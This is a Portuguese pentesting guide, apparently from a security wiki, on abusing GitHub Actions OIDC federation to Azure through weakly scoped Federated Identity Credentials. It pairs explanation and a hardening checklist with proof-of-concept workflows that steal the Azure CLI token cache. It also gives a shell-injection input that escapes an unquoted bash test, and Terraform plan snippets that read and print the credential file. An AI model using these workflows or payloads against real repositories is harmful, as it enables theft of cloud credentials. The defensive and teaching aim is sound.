Azure – Abuso de Federação (GitHub Actions OIDC / Workload Identity)

Reading time: 8 minutes

Visão geral

GitHub Actions pode federar-se ao Azure Entra ID (formerly Azure AD) usando OpenID Connect (OIDC). Um workflow do GitHub solicita um GitHub ID token (JWT) de curta duração que codifica detalhes sobre a execução. O Azure valida esse token contra uma Federated Identity Credential (FIC) em um App Registration (service principal) e o troca por tokens de acesso do Azure (MSAL cache, bearer tokens para Azure APIs).

O Azure valida pelo menos:

• iss: https://token.actions.githubusercontent.com
• aud: api://AzureADTokenExchange (ao trocar por tokens do Azure)
• sub: deve corresponder ao identificador Subject configurado do FIC

O aud padrão do GitHub pode ser uma URL do GitHub. Ao trocar com o Azure, defina explicitamente audience=api://AzureADTokenExchange.

GitHub ID token — PoC rápido

name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Para forçar a audiência do Azure na solicitação de token:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Configuração do Azure (Workload Identity Federation)

1. Crie uma App Registration (service principal) e conceda o privilégio mínimo (por exemplo, Storage Blob Data Contributor em uma storage account específica).

2. Adicione credenciais de identidade federada:

• Issuer: https://token.actions.githubusercontent.com
• Audience: api://AzureADTokenExchange
• Subject identifier: fortemente restrito ao workflow/contexto de execução pretendido (veja Scoping and risks abaixo).

3. Use azure/login para trocar o GitHub ID token e autenticar-se no Azure CLI:

name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Exemplo de troca manual (escopo Graph mostrado; ARM ou outros recursos de forma semelhante):

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

Anatomia e personalização do subject (sub) do GitHub OIDC

Formato padrão do sub: repo:/:

Valores de context incluem:

• environment:
• pull_request (PR é acionado quando não há environment)
• ref:refs/(heads|tags)/

Claims úteis frequentemente presentes no payload:

• repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Personalize a composição do sub pela API do GitHub para incluir claims adicionais e reduzir o risco de colisão:

gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Nota: Dois‑pontos nos nomes de environment são codificados em URL (%3A), eliminando truques antigos de injeção de delimitadores contra o parsing de sub. No entanto, usar subjects não únicos (por exemplo, apenas environment:) continua inseguro.

Escopo e riscos dos tipos de subject do FIC

• Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
• Risco: Se o branch/tag estiver desprotegido, qualquer contributor pode push e obter tokens.
• Environment: sub=repo:/:environment:
• Risco: Environments desprotegidos (sem reviewers) permitem que contributors mintem tokens.
• Pull request: sub=repo:/:pull_request
• Maior risco: Qualquer colaborador pode abrir um PR e satisfazer o FIC.

PoC: Furto de tokens acionado por PR (exfiltrate o cache do Azure CLI escrito por azure/login):

name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Locais de arquivos relacionados e notas:

• Linux/macOS: ~/.azure/msal_token_cache.json contém tokens MSAL para sessões do az CLI
• Windows: msal_token_cache.bin no perfil do usuário; protegido por DPAPI

Workflows reutilizáveis e escopo de job_workflow_ref

Chamar um workflow reutilizável adiciona job_workflow_ref ao GitHub ID token, por exemplo:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

Exemplo FIC para vincular tanto o caller repo quanto o reusable workflow:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Configure os claims no repo chamador para que tanto repo quanto job_workflow_ref estejam presentes em sub:

PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Aviso: Se você vincular apenas job_workflow_ref no FIC, um atacante pode criar um repo diferente na mesma org, executar o mesmo reusable workflow no mesmo ref, satisfazer o FIC e gerar tokens. Sempre inclua também o caller repo.

Vetores de execução de código que contornam as proteções job_workflow_ref

Mesmo com job_workflow_ref devidamente limitado, qualquer dado controlado pelo caller que chegue ao shell sem citação segura pode levar à execução de código dentro do contexto do workflow protegido.

Exemplo de step reutilizável vulnerável (interpolação sem aspas):

- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Entrada maliciosa do chamador para executar comandos e exfiltrar o cache de tokens do Azure:

with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan como um primitivo de execução em PRs

Trate terraform plan como execução de código. Durante o plan, Terraform pode:

• Ler arquivos arbitrários via funções como file()
• Executar comandos via external data source

Exemplo para exfiltrate Azure token cache durante o plan:

output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Ou use external para executar comandos arbitrários:

data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Conceder FICs utilizáveis em plans acionados por PR expõe tokens privilegiados e pode preparar um apply destrutivo posteriormente. Separe identidades para plan e apply; nunca permita tokens privilegiados em contextos de PR não confiáveis.

Hardening checklist

• Nunca use sub=...:pull_request para FICs sensíveis
• Proteja qualquer branch/tag/environment referenciada por FICs (branch protection, environment reviewers)
• Prefira FICs com escopo tanto para repo quanto para job_workflow_ref em reusable workflows
• Customize o sub OIDC do GitHub para incluir claims únicos (ex.: repo, job_workflow_ref, repository_owner)
• Elimine interpolação não entre aspas de caller inputs em run steps; encode/quote com segurança
• Trate terraform plan como execução de código; restrinja ou isole identidades em contextos de PR
• Imponha princípio do menor privilégio em App Registrations; separe identidades para plan e apply
• Pin actions e reusable workflows para commit SHAs (evite pins por branch/tag)

Manual testing tips

• Solicite um GitHub ID token in‑workflow e imprima-o em base64 para evitar masking
• Decode o JWT para inspecionar claims: iss, aud, sub, job_workflow_ref, repository, ref
• Troque manualmente o ID token contra login.microsoftonline.com para confirmar FIC matching e scopes
• Após azure/login, leia ~/.azure/msal_token_cache.json para verificar a presença do material do token

References

• GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
• azure/login action
• Terraform external data source
• gh CLI
• PaloAltoNetworks/github-oidc-utils